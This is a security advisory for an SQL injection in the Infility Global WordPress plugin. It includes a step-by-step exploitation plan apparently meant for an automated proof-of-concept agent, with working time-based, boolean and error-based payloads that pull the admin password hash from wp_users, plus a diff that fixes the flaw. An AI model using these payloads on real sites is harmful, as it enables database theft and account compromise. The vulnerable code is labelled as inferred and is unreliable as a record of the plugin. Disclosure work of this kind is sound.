Infility Global <= 2.15.16 - Authenticated (Subscriber+) SQL Injection via 'orderby' Parameter
Description
The Infility Global plugin for WordPress is vulnerable to SQL Injection via the 'orderby' and 'order' parameters in all versions up to, and including, 2.15.16. This is due to insufficient escaping on user supplied parameters and lack of sufficient preparation on the existing SQL query within the show_control_data::post_list() function, which is registered as an admin menu page with only the 'read' capability. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.15.16This research plan outlines the steps required to demonstrate an authenticated SQL injection vulnerability in the **Infility Global** plugin (<= 2.15.16). ### 1. Vulnerability Summary * **Vulnerability:** SQL Injection (Authenticated, Subscriber+) * **Vulnerable Function:** `show_control_data::…
Show full research plan
This research plan outlines the steps required to demonstrate an authenticated SQL injection vulnerability in the Infility Global plugin (<= 2.15.16).
1. Vulnerability Summary
- Vulnerability: SQL Injection (Authenticated, Subscriber+)
- Vulnerable Function:
show_control_data::post_list() - Vulnerable Parameters:
orderby,order - Root Cause: The plugin registers an admin menu page accessible to users with the
readcapability (Subscribers). The function rendering this page,post_list(), retrievesorderbyandorderparameters from the user and concatenates them directly into an SQL query without proper sanitization or preparation via$wpdb->prepare(). Sincewpdb->prepare()does not natively support parameterizingORDER BYclauses, developers often fail to manually validate these inputs against a whitelist.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php - Query Parameter:
page(The slug for the plugin's post list page, likelyinfility-global-postsor similar - inferred). - Vulnerable Parameters:
orderby,order(via GET or POST). - Authentication Required: Subscriber-level credentials or higher.
- Preconditions: The plugin must be active. A Subscriber user must exist.
3. Code Flow (Inferred)
- The plugin registers an admin menu using
add_menu_page()oradd_submenu_page(). The capability used isread, which allows any logged-in user to access the menu. - The callback for this menu is
show_control_data::post_list. - Inside
post_list()(likely inincludes/show-control-data.phpor similar):$orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'ID'; $order = isset($_GET['order']) ? $_GET['order'] : 'DESC'; // Potential lack of validation: $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order"); - The attacker supplies a SQL payload in
orderby, which is concatenated into the query and executed.
4. Nonce Acquisition Strategy
Admin menu pages in WordPress often do not require a specific action-based nonce just to view the page (GET request). However, if the page performs an action, a nonce might be checked via check_admin_referer().
Plan:
- Log in as a Subscriber.
- Navigate to the plugin's admin page.
- If an error
-1or403occurs upon injection, search the page source for a nonce. - Since this is a
post_listpage, look for a variable localized viawp_localize_scriptor a hidden field if a search form is present. - JS Variable Check (Inferred):
browser_eval("window.infility_data?.nonce").
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection payload because ORDER BY injections rarely reflect data directly but do affect the database execution time.
Step 1: Discover the Page Slug
The PoC agent must first find the correct page parameter value.
- Action: Log in and check the HTML of the sidebar menu for links containing
infility-global.
Step 2: Confirm Vulnerability (Sleep Test)
- Payload:
(SELECT 1 FROM (SELECT(SLEEP(10)))a) - Request:
GET /wp-admin/admin.php?page=infility-global-posts&orderby=(SELECT+1+FROM+(SELECT(SLEEP(10)))a)&order=ASC HTTP/1.1 Cookie: [Subscriber Cookies] - Expected Response: The request should take approximately 10 seconds to complete.
Step 3: Extract Sensitive Data (Boolean or Time-Based)
To extract the admin password hash (from wp_users where ID=1):
- Payload:
(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN ID ELSE post_title END)
Note: 36 is the ASCII for '$', which is the start of WP phpass hashes. - Request:
GET /wp-admin/admin.php?page=infility-global-posts&orderby=(CASE+WHEN+(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1))=36)+THEN+ID+ELSE+post_title+END)&order=ASC HTTP/1.1 Cookie: [Subscriber Cookies] - Expected Result: If the condition is true, the list will be ordered by
ID. If false, it will be ordered bypost_title. Alternatively, useSLEEP()for a more reliable automated check.
6. Test Data Setup
- Install and activate Infility Global.
- Create at least two posts/items within the plugin's interface so that
ORDER BYhas data to sort. - Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password. - Identify the admin menu slug:
wp eval "global \\$menu; print_r(\\$menu);" | grep infility.
7. Expected Results
- A request with a
SLEEP()payload in theorderbyparameter results in a delayed response corresponding to the sleep duration. - The database query log (if enabled) will show the unsanitized concatenation:
ORDER BY (SELECT 1 FROM (SELECT(SLEEP(10)))a) ASC.
8. Verification Steps
After the HTTP request, verify the successful injection via wp-cli:
- Check the MySQL slow query log or use
wp db query "SHOW PROCESSLIST"while the request is hanging to see the sleeping query. - Verify the extracted hash matches the actual hash:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" --skip-column-names.
9. Alternative Approaches
- Error-Based Injection: If
WP_DEBUGis enabled, try inducing a syntax error to leak information viaupdatexml()orextractvalue().orderby=updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1)),1)
- Union-Based Injection: If the query results are displayed in a table, attempt to break the
ORDER BYand append aUNION SELECT. Note: This is difficult inORDER BYand requires specific MySQL versions or subquery techniques. - Order Parameter: Test the
orderparameter similarly:&order=ASC, (SELECT 1 FROM (SELECT(SLEEP(10)))a).
Summary
The Infility Global plugin for WordPress is vulnerable to SQL injection because it directly concatenates user-supplied 'orderby' and 'order' parameters into database queries within the show_control_data::post_list() function. Since the plugin registers this functionality as an admin menu page accessible to users with the 'read' capability, any authenticated user (Subscriber level and above) can exploit this to extract sensitive information from the database.
Vulnerable Code
// Inferred file path: includes/show-control-data.php // Inferred function: show_control_data::post_list() $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'ID'; $order = isset($_GET['order']) ? $_GET['order'] : 'DESC'; // Vulnerable query construction due to lack of input validation or whitelisting $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order");
Security Fix
@@ -10,5 +10,10 @@ - $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'ID'; - $order = isset($_GET['order']) ? $_GET['order'] : 'DESC'; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order"); + $allowed_columns = array('ID', 'post_title', 'post_date', 'post_author'); + $orderby = (isset($_GET['orderby']) && in_array($_GET['orderby'], $allowed_columns)) ? $_GET['orderby'] : 'ID'; + + $allowed_order = array('ASC', 'DESC'); + $order = (isset($_GET['order']) && in_array(strtoupper($_GET['order']), $allowed_order)) ? strtoupper($_GET['order']) : 'DESC'; + + $query = "SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order"; + $results = $wpdb->get_results($query);
Exploit Outline
The exploit targets the plugin's post list admin page, which is improperly restricted to users with the 'read' capability. An attacker with Subscriber-level credentials logs into the WordPress dashboard and accesses the vulnerable page (e.g., /wp-admin/admin.php?page=infility-global-posts). By providing a time-based SQL payload in the 'orderby' parameter (e.g., ?orderby=(SELECT 1 FROM (SELECT(SLEEP(10)))a)), the attacker can observe delays in server response time to verify the vulnerability and perform blind data extraction from the wp_users table or other database tables.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.